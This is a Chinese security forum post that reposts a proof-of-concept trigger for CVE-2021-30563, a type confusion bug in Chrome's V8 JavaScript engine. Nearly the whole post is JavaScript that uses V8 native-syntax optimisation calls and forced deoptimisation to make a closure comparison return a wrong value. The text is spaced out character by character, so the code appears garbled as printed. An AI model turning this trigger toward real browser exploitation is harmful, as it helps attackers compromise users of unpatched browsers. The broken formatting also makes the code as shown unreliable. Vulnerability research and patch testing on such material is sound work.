[29097] 2021-08-02_【漏洞POC】谷歌PoCCVE-2021-30563-V8中的类型混淆

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-19
2021-08-02_【漏洞POC】谷歌PoCCVE-2021-30563-V8中的类型混淆 P O C   P o C   C V E - 2 0 2 1 - 3 0 5 6 3   -   V 8   O t s   2 0 2 1 - 0 8 - 0 2 O t s   -   / /   P o C   C V E - 2 0 2 1 - 3 0 5 6 3   -   T y p e   C o n f u s i o n   i n   V 8   / /   h t t p s : / / t w i t t e r . c o m / Z e u s b 0 x / /   r   - - a l l o w - n a t i v e s - s y n t a x f u n c t i o n   m a k e ( )   {         c o n s t   f o o   =   f u n c t i o n ( x )   {                 v a r   a b   =   [ s h C l o s u r e ] ;                 i f   ( x   >   1 0 )   {                         t e m p [ 0 ]   =   1 ;                 }                 r e t u r n   a b [ 0 ]   = = =   s h C l o s u r e ;         } ;         r e t u r n   f o o ; } / /   B u i l d   t h e   f i r s t   c l o s u r e ,   w i t h   f u n c t i o n   c o n t e x t   s p e c i a l i z a t i o n m a k e ( ) ; / /   B u i l d   a n d   o p t i m i z e   a   s e c o n d   c l o s u r e . s h C l o s u r e   =   m a k e ( ) ; t e m p   =   [ 1 ] ; / /   D o n ' t   p r o v i d e   f e e d b a c k   f o r   t h e   g r e a t e r   t h a n   b r a n c h % P r e p a r e F u n c t i o n F o r O p t i m i z a t i o n ( s h C l o s u r e ) ; s h C l o s u r e ( 1 ) ; % O p t i m i z e F u n c t i o n O n N e x t C a l l ( s h C l o s u r e ) ; s h C l o s u r e ( 2 ) ; / /   B u i l d   a   t h i r d   c l o s u r e .   T h i s   w i l l   s h a r e   t h e   c o d e   o b j e c t   w i t h   t h e   s e c o n d   c l o s u r e . f k C l o s u r e   =   m a k e ( ) ; / /   R e t u r n   v a l u e   i s   e v a l u a t e d   t o   a   c o n s t a n t   t r u e ; p r i n t ( f k C l o s u r e ( 1 ) ) ; / /   F o r c e   d e o p t . / /   I n   t h e   p r o c e s s   o f   t r a n s l a t i n g   t h e   n a t i v e   f r a m e   t o   a n   i n t e r p r e t e d   o n e ,   t h e   J S F u n c t i o n   s t a c k   s l o t   i s   u s e d   t o   r e p r e s e n t   t h e   c l o s u r e   i n   q u e s t i o n   ( a s   p a r t   o f   a   c a p t u r e d   o b j e c t ) . / /   B e c a u s e   t h e   c o d e   o b j e c t   i s   s h a r e d   a b [ 0 ]   w i l l   e v a l u a t e   t o   f k C l o s u r e   i n s t e a d   o f   s h C l o s u r e   i n   t h e   f o l l o w i n g   c a l l . p r i n t ( f k C l o s u r e ( 1 1 ) ) ;   / /   f a l s e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则